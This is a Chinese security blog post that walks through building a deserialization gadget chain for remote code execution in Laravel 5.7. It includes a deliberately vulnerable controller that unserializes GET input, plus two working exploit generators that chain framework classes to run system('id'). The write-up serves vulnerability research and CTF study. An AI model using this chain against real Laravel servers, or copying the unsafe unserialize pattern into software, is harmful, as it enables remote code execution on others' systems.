Laravel5.7反序列化漏洞之RCE链挖掘

2019-06-28 约 410 字 预计阅读 2 分钟

声明:本文 【Laravel5.7反序列化漏洞之RCE链挖掘】 由作者 mochazz 于 2019-06-28 09:48:00 首发 先知社区 曾经 浏览数 37 次

感谢 mochazz 的辛苦付出!

在前一阵的 2019强网杯线下赛 中,出现一道 Laravel5.7 RCE 漏洞的利用。之前有关注过这个漏洞,但没细究。比赛期间,原漏洞作者删除了详细的分析文章,故想自己挖掘这个漏洞利用链。本文将详细记录 Laravel5.7 反序列化漏洞RCE链 的挖掘过程。

漏洞环境

直接使用 composer 安装 laravel5.7 框架,并通过 php artisan serve 命令启动 Web 服务。

➜  html composer create-project laravel/laravel laravel57 "5.7.*"
➜  html cd laravel57
➜  laravel57 php artisan serve --host=0.0.0.0

laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。

// /var/www/html/laravel57/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

laravel57/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:

// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php 
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.7";
    }
}

漏洞链挖掘

可用于执行命令的功能位于 Illuminate/Foundation/Testing/PendingCommand 类的 run 方法中,而该 run 方法在 __destruct 方法中调用。我们可以参阅官方提供的 API 说明手册,来看下各属性和方法的具体含义。

接着我们看下 run 方法的具体代码。如下图所示,当执行完 mockConsoleOutput 方法后,程序会在 第22行 执行命令。那么要想利用这个命令执行,我们就要保证 mockConsoleOutput 方法在执行时不会中断程序(如exit、抛出异常等)。

我们跟进 mockConsoleOutput 方法。在下图 第6行 代码,我们先使用单步调试直接跳过,观察代码是否继续执行到 第10行foreach 代码。如果没有,我们则需要对 第6行 代码进行详细分析。经过调试,我们会发现程序正常执行到 第10行 ,那 第6行 的代码我们就可以先不细究。

从上图可看出, 第10行 $this->test 对象的 expectedQuestions 属性是一个数组。如果这个数组的内容可以控制,当然会方便我们控制下面的链式调用。所以我们这里考虑通过 __get 魔术方法来控制数据,恰巧 laravel 框架中有挺多可利用的地方,这里我随意选取一个 Faker\DefaultGenerator 类。

所以我们构造如下 EXP 继续进行测试。同样,使用该 EXPforeach 语句处使用单步跳过,看看是否可以正常执行到 $this->app->bind(xxxx) 语句。实际上,这里可以正常结束 foreach 语句,并没有抛出什么异常。同样,我们对 $this->app->bind(xxxx) 语句也使用单步跳过,程序同样可以正常运行。

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        public function __construct() { }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $application = new Illuminate\Foundation\Application();
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}
?>

使用上面的 EXP ,我们已经可以成功进入到最后一步,而这里如果直接单步跳过就会抛出异常,因此我们需要跟进细看。

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这里的 $this->app 实际上是 Illuminate\Foundation\Application 类,而在类后面使用 [] 是什么意思呢?一开始,我以为这是 PHP7 的新语法,后来发现并不是。我们在上面的代码前加上如下两段代码,然后动态调试一下。

$kclass = Kernel::class;
$app = $this->app[Kernel::class];
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

可以看到 Kernel::class 对应固定的字符串 Illuminate\Contracts\Console\Kernel ,而单步跳过 $app = $this->app[Kernel::class]; 代码时会抛出异常。跟进这段代码,我们会发现其会依次调用如下类方法,这些我们都不需要太关注,因为没有发现可控点。

我们要关注的点在最后调用的 resolve 方法上,因为这段代码中有我们可控的利用点。如下图中 角标1 处,可以明显看到程序 return 了一个我们可控的数据。也就是说,我们可以将任意对象赋值给 $this->instances[$abstract] ,这个对象最终会赋值给 $this->app[Kernel::class] ,这样就会变成调用我们构造的对象的 call 方法了。(下图的第二个点是原漏洞作者利用的地方,目的也是返回一个可控类实例,具体可以参看文章:laravelv5.7反序列化rce(CVE-2019-9081)

现在我们再次构造如下 EXP 继续进行尝试。为了避免文章篇幅过长,与上面 EXP 相同的代码段用省略号代替。

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        ...
    }
}

namespace Faker{
    class DefaultGenerator{
        ...
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}

?>

我们用上面生成的 EXP 尝试攻击,会发现已经可以成功执行命令了。

这里我们再来说说为什么这里 $this->instances['Illuminate\Contracts\Console\Kernel'] 我选择的是 Illuminate\Foundation\Application 类,我们跟着 EXP

Illuminate\Foundation\Application 类继承了 Illuminate\Container\Container 类的 call 方法,其调用的又是 Illuminate\Container\BoundMethodcall 静态方法。而在这个静态方法中,我们看到一个关键函数 call_user_func_array ,其在闭包函数中被调用。

我们先来看一下这个闭包函数在 callBoundMethod 静态方法中是如何被调用的。可以看到在 callBoundMethod 方法中,返回了闭包函数的调用结果。而闭包函数中返回了 call_user_func_array($callback, static::getMethodDependencies(xxxx)) ,我们继续看这个 getMethodDependencies 函数的代码。该函数仅仅只是返回 $dependencies 数组和 $parameters 的合并数据,其中 $dependencies 默认是一个空数组,而 $parameters 正是我们可控的数据。因此,这个闭包函数返回的是 call_user_func_array(可控数据,可控数据) ,最终导致代码执行。

总结

个人认为 PHP 相关的漏洞中,最有意思的部分就属于 POP链 的挖掘。通过不断找寻可利用点,再将它们合理的串成一条链,直达漏洞核心。为了防止思维被固化,个人不建议一开始就去细看他人的漏洞分析文章,不妨自己先试着分析分析。待完成整个漏洞的分析(或遇到问题无法继续下去时),再看他人的文章,学习他们优秀的思路,从而提高自身的代码审计能力。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now